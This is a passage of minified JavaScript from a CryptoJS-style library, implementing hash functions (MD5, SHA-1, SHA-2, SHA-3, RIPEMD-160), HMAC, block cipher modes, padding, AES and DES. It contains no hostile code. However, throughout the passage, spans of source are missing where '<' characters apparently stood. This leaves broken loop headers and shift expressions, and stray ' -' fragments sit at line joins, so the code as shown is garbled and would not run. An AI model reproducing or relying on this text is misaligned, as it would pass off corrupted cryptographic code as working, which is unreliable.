l=this._hash.words,h=t[e+0],d=t[e+1],_=t[e+2],p=t[e+3],f=t[e+4],g=t[e+5],m=t[e+6],T=t[e+7],v=t[e+8],y=t[e+9],S=t[e+10],C=t[e+11],E=t[e+12],P=t[e+13],A=t[e+14],x=t[e+15],I=l[0],R=l[1],b=l[2],O=l[3];I=i(I,R,b,O,h,7,u[0]),O=i(O,I,R,b,d,12,u[1]),b=i(b,O,I,R,_,17,u[2]),R=i(R,b,O,I,p,22,u[3]),I=i(I,R,b,O,f,7,u[4]),O=i(O,I,R,b,g,12,u[5]),b=i(b,O,I,R,m,17,u[6]),R=i(R,b,O,I,T,22,u[7]),I=i(I,R,b,O,v,7,u[8]),O=i(O,I,R,b,y,12,u[9]),b=i(b,O,I,R,S,17,u[10]),R=i(R,b,O,I,C,22,u[11]),I=i(I,R,b,O,E,7,u[12]),O=i(O,I,R,b,P,12,u[13]),b=i(b,O,I,R,A,17,u[14]),R=i(R,b,O,I,x,22,u[15]),I=n(I,R,b,O,d,5,u[16]),O=n(O,I,R,b,m,9,u[17]),b=n(b,O,I,R,C,14,u[18]),R=n(R,b,O,I,h,20,u[19]),I=n(I,R,b,O,g,5,u[20]),O=n(O,I,R,b,S,9,u[21]),b=n(b,O,I,R,x,14,u[22]),R=n(R,b,O,I,f,20,u[23]),I=n(I,R,b,O,y,5,u[24]),O=n(O,I,R,b,A,9,u[25]),b=n(b,O,I,R,p,14,u[26]),R=n(R,b,O,I,v,20,u[27]),I=n(I,R,b,O,P,5,u[28]),O=n(O,I,R,b,_,9,u[29]),b=n(b,O,I,R,T,14,u[30]),R=n(R,b,O,I,E,20,u[31]),I=r(I,R,b,O,g,4,u[32]),O=r(O,I,R,b,v,11,u[33]),b=r(b,O,I,R,C,16,u[34]),R=r(R,b,O,I,A,23,u[35]),I=r(I,R,b,O,d,4,u[36]),O=r(O,I,R,b,f,11,u[37]),b=r(b,O,I,R,T,16,u[38]),R=r(R,b,O,I,S,23,u[39]),I=r(I,R,b,O,P,4,u[40]),O=r(O,I,R,b,h,11,u[41]),b=r(b,O,I,R,p,16,u[42]),R=r(R,b,O,I,m,23,u[43]),I=r(I,R,b,O,y,4,u[44]),O=r(O,I,R,b,E,11,u[45]),b=r(b,O,I,R,x,16,u[46]),R=r(R,b,O,I,_,23,u[47]),I=c(I,R,b,O,h,6,u[48]),O=c(O,I,R,b,T,10,u[49]),b=c(b,O,I,R,A,15,u[50]),R=c(R,b,O,I,g,21,u[51]),I=c(I,R,b,O,E,6,u[52]),O=c(O,I,R,b,p,10,u[53]),b=c(b,O,I,R,S,15,u[54]),R=c(R,b,O,I,d,21,u[55]),I=c(I,R,b,O,v,6,u[56]),O=c(O,I,R,b,x,10,u[57]),b=c(b,O,I,R,m,15,u[58]),R=c(R,b,O,I,P,21,u[59]),I=c(I,R,b,O,f,6,u[60]),O=c(O,I,R,b,C,10,u[61]),b=c(b,O,I,R,_,15,u[62]),R=c(R,b,O,I,y,21,u[63]),l[0]=l[0]+I|0,l[1]=l[1]+R|0,l[2]=l[2]+b|0,l[3]=l[3]+O|0},_doFinalize:function(){var t=this._data,i=t.words,n=8*this._nDataBytes,r=8*t.sigBytes;i[r>>>5]|=128<<24-r%32;var c=e.floor(n/4294967296),o=n;i[15+(r+64>>>9<<4)]=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),i[14+(r+64>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),t.sigBytes=4*(i.length+1),this._process();for(var a=this._hash,s=a.words,l=0;l<4;l++){var h=s[l];s[l]=16711935&(h<<8|h>>>24)|4278255360&(h<<24|h>>>8)} -return a},clone:function(){var t=l.clone.call(this);return t._hash=this._hash.clone(),t}});o.MD5=l._createHelper(d),o.HmacMD5=l._createHmacHelper(d)}(Math),function(){var e=t,i=e.lib,n=i.WordArray,r=i.Hasher,c=e.algo,o=[],a=c.SHA1=r.extend({_doReset:function(){this._hash=new n.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var i=this._hash.words,n=i[0],r=i[1],c=i[2],a=i[3],s=i[4],l=0;l<80;l++){if(l<16) -o[l]=0|t[e+l];else{var h=o[l-3]^o[l-8]^o[l-14]^o[l-16];o[l]=h<<1|h>>>31} -var u=(n<<5|n>>>27)+s+o[l];u+=l<20?1518500249+(r&c|~r&a):l<40?1859775393+(r^c^a):l<60?(r&c|r&a|c&a)-1894007588:(r^c^a)-899497514,s=a,a=c,c=r<<30|r>>>2,r=n,n=u} -i[0]=i[0]+n|0,i[1]=i[1]+r|0,i[2]=i[2]+c|0,i[3]=i[3]+a|0,i[4]=i[4]+s|0},_doFinalize:function(){var t=this._data,e=t.words,i=8*this._nDataBytes,n=8*t.sigBytes;return e[n>>>5]|=128<<24-n%32,e[14+(n+64>>>9<<4)]=Math.floor(i/4294967296),e[15+(n+64>>>9<<4)]=i,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=r.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA1=r._createHelper(a),e.HmacSHA1=r._createHmacHelper(a)}(),function(e){var i=t,n=i.lib,r=n.WordArray,c=n.Hasher,o=i.algo,a=[],s=[];!function(){function t(t){return 4294967296*(t-(0|t))|0} -for(var i=2,n=0;n<64;) -(function(t){for(var i=e.sqrt(t),n=2;n<=i;n++) -if(!(t%n)) -return!1;return!0})(i)&&(n<8&&(a[n]=t(e.pow(i,.5))),s[n]=t(e.pow(i,1/3)),n++),i++}();var l=[],h=o.SHA256=c.extend({_doReset:function(){this._hash=new r.init(a.slice(0))},_doProcessBlock:function(t,e){for(var i=this._hash.words,n=i[0],r=i[1],c=i[2],o=i[3],a=i[4],h=i[5],u=i[6],d=i[7],_=0;_<64;_++){if(_<16) -l[_]=0|t[e+_];else{var p=l[_-15],f=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,g=l[_-2],m=(g<<15|g>>>17)^(g<<13|g>>>19)^g>>>10;l[_]=f+l[_-7]+m+l[_-16]} -var T=a&h^~a&u,v=n&r^n&c^r&c,y=(n<<30|n>>>2)^(n<<19|n>>>13)^(n<<10|n>>>22),S=(a<<26|a>>>6)^(a<<21|a>>>11)^(a<<7|a>>>25),C=d+S+T+s[_]+l[_],E=y+v;d=u,u=h,h=a,a=o+C|0,o=c,c=r,r=n,n=C+E|0} -i[0]=i[0]+n|0,i[1]=i[1]+r|0,i[2]=i[2]+c|0,i[3]=i[3]+o|0,i[4]=i[4]+a|0,i[5]=i[5]+h|0,i[6]=i[6]+u|0,i[7]=i[7]+d|0},_doFinalize:function(){var t=this._data,i=t.words,n=8*this._nDataBytes,r=8*t.sigBytes;return i[r>>>5]|=128<<24-r%32,i[14+(r+64>>>9<<4)]=e.floor(n/4294967296),i[15+(r+64>>>9<<4)]=n,t.sigBytes=4*i.length,this._process(),this._hash},clone:function(){var t=c.clone.call(this);return t._hash=this._hash.clone(),t}});i.SHA256=c._createHelper(h),i.HmacSHA256=c._createHmacHelper(h)}(Math),function(){function e(t){return t<<8&4278255360|t>>>8&16711935} -var i=t,n=i.lib,r=n.WordArray,c=i.enc;c.Utf16=c.Utf16BE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],r=0;r>>2]>>>16-r%4*8&65535;n.push(String.fromCharCode(c))} -return n.join("")},parse:function(t){for(var e=t.length,i=[],n=0;n>>1]|=t.charCodeAt(n)<<16-n%2*16;return r.create(i,2*e)}},c.Utf16LE={stringify:function(t){for(var i=t.words,n=t.sigBytes,r=[],c=0;c>>2]>>>16-c%4*8&65535);r.push(String.fromCharCode(o))} -return r.join("")},parse:function(t){for(var i=t.length,n=[],c=0;c>>1]|=e(t.charCodeAt(c)<<16-c%2*16);return r.create(n,2*i)}}}(),function(){if("function"==typeof ArrayBuffer){var e=t,i=e.lib,n=i.WordArray,r=n.init;(n.init=function(t){if(t instanceof ArrayBuffer&&(t=new Uint8Array(t)),(t instanceof Int8Array||"undefined"!=typeof Uint8ClampedArray&&t instanceof Uint8ClampedArray||t instanceof Int16Array||t instanceof Uint16Array||t instanceof Int32Array||t instanceof Uint32Array||t instanceof Float32Array||t instanceof Float64Array)&&(t=new Uint8Array(t.buffer,t.byteOffset,t.byteLength)),t instanceof Uint8Array){for(var e=t.byteLength,i=[],n=0;n>>2]|=t[n]<<24-n%4*8;r.call(this,i,e)}else -r.apply(this,arguments)}).prototype=n}}(),function(e){function i(t,e,i){return t^e^i} -function n(t,e,i){return t&e|~t&i} -function r(t,e,i){return(t|~e)^i} -function c(t,e,i){return t&i|e&~i} -function o(t,e,i){return t^(e|~i)} -function a(t,e){return t<>>32-e} -var s=t,l=s.lib,h=l.WordArray,u=l.Hasher,d=s.algo,_=h.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),p=h.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),f=h.create([11,14,15,12,5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),g=h.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),m=h.create([0,1518500249,1859775393,2400959708,2840853838]),T=h.create([1352829926,1548603684,1836072691,2053994217,0]),v=d.RIPEMD160=u.extend({_doReset:function(){this._hash=h.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var s=0;s<16;s++){var l=e+s,h=t[l];t[l]=16711935&(h<<8|h>>>24)|4278255360&(h<<24|h>>>8)} -var u,d,v,y,S,C,E,P,A,x,I=this._hash.words,R=m.words,b=T.words,O=_.words,w=p.words,L=f.words,F=g.words;C=u=I[0],E=d=I[1],P=v=I[2],A=y=I[3],x=S=I[4];for(var N,s=0;s<80;s+=1) -N=u+t[e+O[s]]|0,N+=s<16?i(d,v,y)+R[0]:s<32?n(d,v,y)+R[1]:s<48?r(d,v,y)+R[2]:s<64?c(d,v,y)+R[3]:o(d,v,y)+R[4],N|=0,N=a(N,L[s]),N=N+S|0,u=S,S=y,y=a(v,10),v=d,d=N,N=C+t[e+w[s]]|0,N+=s<16?o(E,P,A)+b[0]:s<32?c(E,P,A)+b[1]:s<48?r(E,P,A)+b[2]:s<64?n(E,P,A)+b[3]:i(E,P,A)+b[4],N|=0,N=a(N,F[s]),N=N+x|0,C=x,x=A,A=a(P,10),P=E,E=N;N=I[1]+v+A|0,I[1]=I[2]+y+x|0,I[2]=I[3]+S+C|0,I[3]=I[4]+u+E|0,I[4]=I[0]+d+P|0,I[0]=N},_doFinalize:function(){var t=this._data,e=t.words,i=8*this._nDataBytes,n=8*t.sigBytes;e[n>>>5]|=128<<24-n%32,e[14+(n+64>>>9<<4)]=16711935&(i<<8|i>>>24)|4278255360&(i<<24|i>>>8),t.sigBytes=4*(e.length+1),this._process();for(var r=this._hash,c=r.words,o=0;o<5;o++){var a=c[o];c[o]=16711935&(a<<8|a>>>24)|4278255360&(a<<24|a>>>8)} -return r},clone:function(){var t=u.clone.call(this);return t._hash=this._hash.clone(),t}});s.RIPEMD160=u._createHelper(v),s.HmacRIPEMD160=u._createHmacHelper(v)}(Math),function(){var e=t,i=e.lib,n=i.Base,r=e.enc,c=r.Utf8;e.algo.HMAC=n.extend({init:function(t,e){t=this._hasher=new t.init,"string"==typeof e&&(e=c.parse(e));var i=t.blockSize,n=4*i;e.sigBytes>n&&(e=t.finalize(e)),e.clamp();for(var r=this._oKey=e.clone(),o=this._iKey=e.clone(),a=r.words,s=o.words,l=0;l>>24)|4278255360&(c<<24|c>>>8),o=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8);var a=i[r];a.high^=o,a.low^=c} -for(var s=0;s<24;s++){for(var _=0;_<5;_++){for(var p=0,f=0,g=0;g<5;g++){var a=i[_+5*g];p^=a.high,f^=a.low} -var m=d[_];m.high=p,m.low=f} -for(var _=0;_<5;_++) -for(var T=d[(_+4)%5],v=d[(_+1)%5],y=v.high,S=v.low,p=T.high^(y<<1|S>>>31),f=T.low^(S<<1|y>>>31),g=0;g<5;g++){var a=i[_+5*g];a.high^=p,a.low^=f} -for(var C=1;C<25;C++){var a=i[C],E=a.high,P=a.low,A=l[C];if(A<32) -var p=E<>>32-A,f=P<>>32-A;else -var p=P<>>64-A,f=E<>>64-A;var x=d[h[C]];x.high=p,x.low=f} -var I=d[0],R=i[0];I.high=R.high,I.low=R.low;for(var _=0;_<5;_++) -for(var g=0;g<5;g++){var C=_+5*g,a=i[C],b=d[C],O=d[(_+1)%5+5*g],w=d[(_+2)%5+5*g];a.high=b.high^~O.high&w.high,a.low=b.low^~O.low&w.low} -var a=i[0],L=u[s];a.high^=L.high,a.low^=L.low}},_doFinalize:function(){var t=this._data,i=t.words,n=(this._nDataBytes,8*t.sigBytes),c=32*this.blockSize;i[n>>>5]|=1<<24-n%32,i[(e.ceil((n+1)/c)*c>>>5)-1]|=128,t.sigBytes=4*i.length,this._process();for(var o=this._state,a=this.cfg.outputLength/8,s=a/8,l=[],h=0;h>>24)|4278255360&(d<<24|d>>>8),_=16711935&(_<<8|_>>>24)|4278255360&(_<<24|_>>>8),l.push(_),l.push(d)} -return new r.init(l,a)},clone:function(){for(var t=c.clone.call(this),e=t._state=this._state.slice(0),i=0;i<25;i++) -e[i]=e[i].clone();return t}});i.SHA3=c._createHelper(_),i.HmacSHA3=c._createHmacHelper(_)}(Math),function(){function e(){return o.create.apply(o,arguments)} -var i=t,n=i.lib,r=n.Hasher,c=i.x64,o=c.Word,a=c.WordArray,s=i.algo,l=[e(1116352408,3609767458),e(1899447441,602891725),e(3049323471,3964484399),e(3921009573,2173295548),e(961987163,4081628472),e(1508970993,3053834265),e(2453635748,2937671579),e(2870763221,3664609560),e(3624381080,2734883394),e(310598401,1164996542),e(607225278,1323610764),e(1426881987,3590304994),e(1925078388,4068182383),e(2162078206,991336113),e(2614888103,633803317),e(3248222580,3479774868),e(3835390401,2666613458),e(4022224774,944711139),e(264347078,2341262773),e(604807628,2007800933),e(770255983,1495990901),e(1249150122,1856431235),e(1555081692,3175218132),e(1996064986,2198950837),e(2554220882,3999719339),e(2821834349,766784016),e(2952996808,2566594879),e(3210313671,3203337956),e(3336571891,1034457026),e(3584528711,2466948901),e(113926993,3758326383),e(338241895,168717936),e(666307205,1188179964),e(773529912,1546045734),e(1294757372,1522805485),e(1396182291,2643833823),e(1695183700,2343527390),e(1986661051,1014477480),e(2177026350,1206759142),e(2456956037,344077627),e(2730485921,1290863460),e(2820302411,3158454273),e(3259730800,3505952657),e(3345764771,106217008),e(3516065817,3606008344),e(3600352804,1432725776),e(4094571909,1467031594),e(275423344,851169720),e(430227734,3100823752),e(506948616,1363258195),e(659060556,3750685593),e(883997877,3785050280),e(958139571,3318307427),e(1322822218,3812723403),e(1537002063,2003034995),e(1747873779,3602036899),e(1955562222,1575990012),e(2024104815,1125592928),e(2227730452,2716904306),e(2361852424,442776044),e(2428436474,593698344),e(2756734187,3733110249),e(3204031479,2999351573),e(3329325298,3815920427),e(3391569614,3928383900),e(3515267271,566280711),e(3940187606,3454069534),e(4118630271,4000239992),e(116418474,1914138554),e(174292421,2731055270),e(289380356,3203993006),e(460393269,320620315),e(685471733,587496836),e(852142971,1086792851),e(1017036298,365543100),e(1126000580,2618297676),e(1288033470,3409855158),e(1501505948,4234509866),e(1607167915,987167468),e(1816402316,1246189591)],h=[];!function(){for(var t=0;t<80;t++) -h[t]=e()}();var u=s.SHA512=r.extend({_doReset:function(){this._hash=new a.init([new o.init(1779033703,4089235720),new o.init(3144134277,2227873595),new o.init(1013904242,4271175723),new o.init(2773480762,1595750129),new o.init(1359893119,2917565137),new o.init(2600822924,725511199),new o.init(528734635,4215389547),new o.init(1541459225,327033209)])},_doProcessBlock:function(t,e){for(var i=this._hash.words,n=i[0],r=i[1],c=i[2],o=i[3],a=i[4],s=i[5],u=i[6],d=i[7],_=n.high,p=n.low,f=r.high,g=r.low,m=c.high,T=c.low,v=o.high,y=o.low,S=a.high,C=a.low,E=s.high,P=s.low,A=u.high,x=u.low,I=d.high,R=d.low,b=_,O=p,w=f,L=g,F=m,N=T,B=v,D=y,M=S,k=C,V=E,W=P,G=A,z=x,U=I,Y=R,H=0;H<80;H++){var X=h[H];if(H<16) -var j=X.high=0|t[e+2*H],q=X.low=0|t[e+2*H+1];else{var Q=h[H-15],Z=Q.high,K=Q.low,J=(Z>>>1|K<<31)^(Z>>>8|K<<24)^Z>>>7,$=(K>>>1|Z<<31)^(K>>>8|Z<<24)^(K>>>7|Z<<25),tt=h[H-2],et=tt.high,it=tt.low,nt=(et>>>19|it<<13)^(et<<3|it>>>29)^et>>>6,rt=(it>>>19|et<<13)^(it<<3|et>>>29)^(it>>>6|et<<26),ct=h[H-7],ot=ct.high,at=ct.low,st=h[H-16],lt=st.high,ht=st.low,q=$+at,j=J+ot+(q>>>0<$>>>0?1:0),q=q+rt,j=j+nt+(q>>>0>>0?1:0),q=q+ht,j=j+lt+(q>>>0>>0?1:0);X.high=j,X.low=q} -var ut=M&V^~M&G,dt=k&W^~k&z,_t=b&w^b&F^w&F,pt=O&L^O&N^L&N,ft=(b>>>28|O<<4)^(b<<30|O>>>2)^(b<<25|O>>>7),gt=(O>>>28|b<<4)^(O<<30|b>>>2)^(O<<25|b>>>7),mt=(M>>>14|k<<18)^(M>>>18|k<<14)^(M<<23|k>>>9),Tt=(k>>>14|M<<18)^(k>>>18|M<<14)^(k<<23|M>>>9),vt=l[H],yt=vt.high,St=vt.low,Ct=Y+Tt,Et=U+mt+(Ct>>>0>>0?1:0),Ct=Ct+dt,Et=Et+ut+(Ct>>>0
>>0?1:0),Ct=Ct+St,Et=Et+yt+(Ct>>>0>>0?1:0),Ct=Ct+q,Et=Et+j+(Ct>>>0>>0?1:0),Pt=gt+pt,At=ft+_t+(Pt>>>0>>0?1:0);U=G,Y=z,G=V,z=W,V=M,W=k,k=D+Ct|0,M=B+Et+(k>>>0>>0?1:0)|0,B=F,D=N,F=w,N=L,w=b,L=O,O=Ct+Pt|0,b=Et+At+(O>>>0>>0?1:0)|0} -p=n.low=p+O,n.high=_+b+(p>>>0>>0?1:0),g=r.low=g+L,r.high=f+w+(g>>>0>>0?1:0),T=c.low=T+N,c.high=m+F+(T>>>0>>0?1:0),y=o.low=y+D,o.high=v+B+(y>>>0>>0?1:0),C=a.low=C+k,a.high=S+M+(C>>>0>>0?1:0),P=s.low=P+W,s.high=E+V+(P>>>0>>0?1:0),x=u.low=x+z,u.high=A+G+(x>>>0>>0?1:0),R=d.low=R+Y,d.high=I+U+(R>>>0>>0?1:0)},_doFinalize:function(){var t=this._data,e=t.words,i=8*this._nDataBytes,n=8*t.sigBytes;return e[n>>>5]|=128<<24-n%32,e[30+(n+128>>>10<<5)]=Math.floor(i/4294967296),e[31+(n+128>>>10<<5)]=i,t.sigBytes=4*e.length,this._process(),this._hash.toX32()},clone:function(){var t=r.clone.call(this);return t._hash=this._hash.clone(),t},blockSize:32});i.SHA512=r._createHelper(u),i.HmacSHA512=r._createHmacHelper(u)}(),function(){var e=t,i=e.x64,n=i.Word,r=i.WordArray,c=e.algo,o=c.SHA512,a=c.SHA384=o.extend({_doReset:function(){this._hash=new r.init([new n.init(3418070365,3238371032),new n.init(1654270250,914150663),new n.init(2438529370,812702999),new n.init(355462360,4144912697),new n.init(1731405415,4290775857),new n.init(2394180231,1750603025),new n.init(3675008525,1694076839),new n.init(1203062813,3204075428)])},_doFinalize:function(){var t=o._doFinalize.call(this);return t.sigBytes-=16,t}});e.SHA384=o._createHelper(a),e.HmacSHA384=o._createHmacHelper(a)}(),t.lib.Cipher||function(e){var i=t,n=i.lib,r=n.Base,c=n.WordArray,o=n.BufferedBlockAlgorithm,a=i.enc,s=(a.Utf8,a.Base64),l=i.algo,h=l.EvpKDF,u=n.Cipher=o.extend({cfg:r.extend(),createEncryptor:function(t,e){return this.create(this._ENC_XFORM_MODE,t,e)},createDecryptor:function(t,e){return this.create(this._DEC_XFORM_MODE,t,e)},init:function(t,e,i){this.cfg=this.cfg.extend(i),this._xformMode=t,this._key=e,this.reset()},reset:function(){o.reset.call(this),this._doReset()},process:function(t){return this._append(t),this._process()},finalize:function(t){return t&&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(){function t(t){return"string"==typeof t?E:y} -return function(e){return{encrypt:function(i,n,r){return t(n).encrypt(e,i,n,r)},decrypt:function(i,n,r){return t(n).decrypt(e,i,n,r)}}}}()}),d=(n.StreamCipher=u.extend({_doFinalize:function(){return this._process(!0)},blockSize:1}),i.mode={}),_=n.BlockCipherMode=r.extend({createEncryptor:function(t,e){return this.Encryptor.create(t,e)},createDecryptor:function(t,e){return this.Decryptor.create(t,e)},init:function(t,e){this._cipher=t,this._iv=e}}),p=d.CBC=function(){function t(t,i,n){var r=this._iv;if(r){var c=r;this._iv=e}else -var c=this._prevBlock;for(var o=0;o>>2];t.sigBytes-=e}},m=(n.BlockCipher=u.extend({cfg:u.cfg.extend({mode:p,padding:g}),reset:function(){u.reset.call(this);var t=this.cfg,e=t.iv,i=t.mode;if(this._xformMode==this._ENC_XFORM_MODE) -var n=i.createEncryptor;else{var n=i.createDecryptor;this._minBufferSize=1} -this._mode&&this._mode.__creator==n?this._mode.init(this,e&&e.words):(this._mode=n.call(i,this,e&&e.words),this._mode.__creator=n)},_doProcessBlock:function(t,e){this._mode.processBlock(t,e)},_doFinalize:function(){var t=this.cfg.padding;if(this._xformMode==this._ENC_XFORM_MODE){t.pad(this._data,this.blockSize);var e=this._process(!0)}else{var e=this._process(!0);t.unpad(e)} -return e},blockSize:4}),n.CipherParams=r.extend({init:function(t){this.mixIn(t)},toString:function(t){return(t||this.formatter).stringify(this)}})),T=i.format={},v=T.OpenSSL={stringify:function(t){var e=t.ciphertext,i=t.salt;if(i) -var n=c.create([1398893684,1701076831]).concat(i).concat(e);else -var n=e;return n.toString(s)},parse:function(t){var e=s.parse(t),i=e.words;if(1398893684==i[0]&&1701076831==i[1]){var n=c.create(i.slice(2,4));i.splice(0,4),e.sigBytes-=16} -return m.create({ciphertext:e,salt:n})}},y=n.SerializableCipher=r.extend({cfg:r.extend({format:v}),encrypt:function(t,e,i,n){n=this.cfg.extend(n);var r=t.createEncryptor(i,n),c=r.finalize(e),o=r.cfg;return m.create({ciphertext:c,key:i,iv:o.iv,algorithm:t,mode:o.mode,padding:o.padding,blockSize:t.blockSize,formatter:n.format})},decrypt:function(t,e,i,n){return n=this.cfg.extend(n),e=this._parse(e,n.format),t.createDecryptor(i,n).finalize(e.ciphertext)},_parse:function(t,e){return"string"==typeof t?e.parse(t,this):t}}),S=i.kdf={},C=S.OpenSSL={execute:function(t,e,i,n){n||(n=c.random(8));var r=h.create({keySize:e+i}).compute(t,n),o=c.create(r.words.slice(e),4*i);return r.sigBytes=4*e,m.create({key:r,iv:o,salt:n})}},E=n.PasswordBasedCipher=y.extend({cfg:y.cfg.extend({kdf:C}),encrypt:function(t,e,i,n){n=this.cfg.extend(n);var r=n.kdf.execute(i,t.keySize,t.ivSize);n.iv=r.iv;var c=y.encrypt.call(this,t,e,r.key,n);return c.mixIn(r),c},decrypt:function(t,e,i,n){n=this.cfg.extend(n),e=this._parse(e,n.format);var r=n.kdf.execute(i,t.keySize,t.ivSize,e.salt);return n.iv=r.iv,y.decrypt.call(this,t,e,r.key,n)}})}(),t.mode.CFB=function(){function e(t,e,i,n){var r=this._iv;if(r){var c=r.slice(0);this._iv=void 0}else -var c=this._prevBlock;n.encryptBlock(c,0);for(var o=0;o>>2]|=r<<24-c%4*8,t.sigBytes+=r},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},t.pad.Iso10126={pad:function(e,i){var n=4*i,r=n-e.sigBytes%n;e.concat(t.lib.WordArray.random(r-1)).concat(t.lib.WordArray.create([r<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},t.pad.Iso97971={pad:function(e,i){e.concat(t.lib.WordArray.create([2147483648],1)),t.pad.ZeroPadding.pad(e,i)},unpad:function(e){t.pad.ZeroPadding.unpad(e),e.sigBytes--}},t.mode.OFB=function(){var e=t.lib.BlockCipherMode.extend(),i=e.Encryptor=e.extend({processBlock:function(t,e){var i=this._cipher,n=i.blockSize,r=this._iv,c=this._keystream;r&&(c=this._keystream=r.slice(0),this._iv=void 0),i.encryptBlock(c,0);for(var o=0;o>>8^255&r^99,c[i]=r,o[r]=i;var f=t[i],g=t[f],m=t[g],T=257*t[r]^16843008*r;a[i]=T<<24|T>>>8,s[i]=T<<16|T>>>16,l[i]=T<<8|T>>>24,h[i]=T;var T=16843009*m^65537*g^257*f^16843008*i;u[r]=T<<24|T>>>8,d[r]=T<<16|T>>>16,_[r]=T<<8|T>>>24,p[r]=T,i?(i=f^t[t[t[m^f]]],n^=t[t[n]]):i=n=1}}();var f=[0,1,2,4,8,16,32,64,128,27,54],g=r.AES=n.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,i=t.sigBytes/4,n=this._nRounds=i+6,r=4*(n+1),o=this._keySchedule=[],a=0;a6&&a%i==4&&(s=c[s>>>24]<<24|c[s>>>16&255]<<16|c[s>>>8&255]<<8|c[255&s]):(s=s<<8|s>>>24,s=c[s>>>24]<<24|c[s>>>16&255]<<16|c[s>>>8&255]<<8|c[255&s],s^=f[a/i|0]<<24),o[a]=o[a-i]^s} -for(var l=this._invKeySchedule=[],h=0;h>>24]]^d[c[s>>>16&255]]^_[c[s>>>8&255]]^p[c[255&s]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,a,s,l,h,c)},decryptBlock:function(t,e){var i=t[e+1];t[e+1]=t[e+3],t[e+3]=i,this._doCryptBlock(t,e,this._invKeySchedule,u,d,_,p,o);var i=t[e+1];t[e+1]=t[e+3],t[e+3]=i},_doCryptBlock:function(t,e,i,n,r,c,o,a){for(var s=this._nRounds,l=t[e]^i[0],h=t[e+1]^i[1],u=t[e+2]^i[2],d=t[e+3]^i[3],_=4,p=1;p>>24]^r[h>>>16&255]^c[u>>>8&255]^o[255&d]^i[_++],g=n[h>>>24]^r[u>>>16&255]^c[d>>>8&255]^o[255&l]^i[_++],m=n[u>>>24]^r[d>>>16&255]^c[l>>>8&255]^o[255&h]^i[_++],T=n[d>>>24]^r[l>>>16&255]^c[h>>>8&255]^o[255&u]^i[_++];l=f,h=g,u=m,d=T} -var f=(a[l>>>24]<<24|a[h>>>16&255]<<16|a[u>>>8&255]<<8|a[255&d])^i[_++],g=(a[h>>>24]<<24|a[u>>>16&255]<<16|a[d>>>8&255]<<8|a[255&l])^i[_++],m=(a[u>>>24]<<24|a[d>>>16&255]<<16|a[l>>>8&255]<<8|a[255&h])^i[_++],T=(a[d>>>24]<<24|a[l>>>16&255]<<16|a[h>>>8&255]<<8|a[255&u])^i[_++];t[e]=f,t[e+1]=g,t[e+2]=m,t[e+3]=T},keySize:8});e.AES=n._createHelper(g)}(),function(){function e(t,e){var i=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=i,this._lBlock^=i<>>t^this._lBlock)&e;this._lBlock^=i,this._rBlock^=i<>>5]>>>31-r%32&1} -for(var c=this._subKeys=[],o=0;o<16;o++){for(var a=c[o]=[],u=h[o],n=0;n<24;n++) -a[n/6|0]|=i[(l[n]-1+u)%28]<<31-n%6,a[4+(n/6|0)]|=i[28+(l[n+24]-1+u)%28]<<31-n%6;a[0]=a[0]<<1|a[0]>>>31;for(var n=1;n<7;n++) -a[n]=a[n]>>>4*(n-1)+3;a[7]=a[7]<<5|a[7]>>>27} -for(var d=this._invSubKeys=[],n=0;n<16;n++) -d[n]=c[15-n]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,n,r){this._lBlock=t[n],this._rBlock=t[n+1],e.call(this,4,252645135),e.call(this,16,65535),i.call(this,2,858993459),i.call(this,8,16711935),e.call(this,1,1431655765);for(var c=0;c<16;c++){for(var o=r[c],a=this._lBlock,s=this._rBlock,l=0,h=0;h<8;h++) -l|=u[h][((s^o[h])&d[h])>>>0];this._lBlock=s,this._rBlock=a^l} -var _=this._lBlock;this._lBlock=this._rBlock,this._rBlock=_,e.call(this,1,1431655765),i.call(this,8,16711935),i.call(this,2,858993459),e.call(this,16,65535),e.call(this,4,252645135),t[n]=this._lBlock,t[n+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});n.DES=o._createHelper(_);var p=a.TripleDES=o.extend({_doReset:function(){var 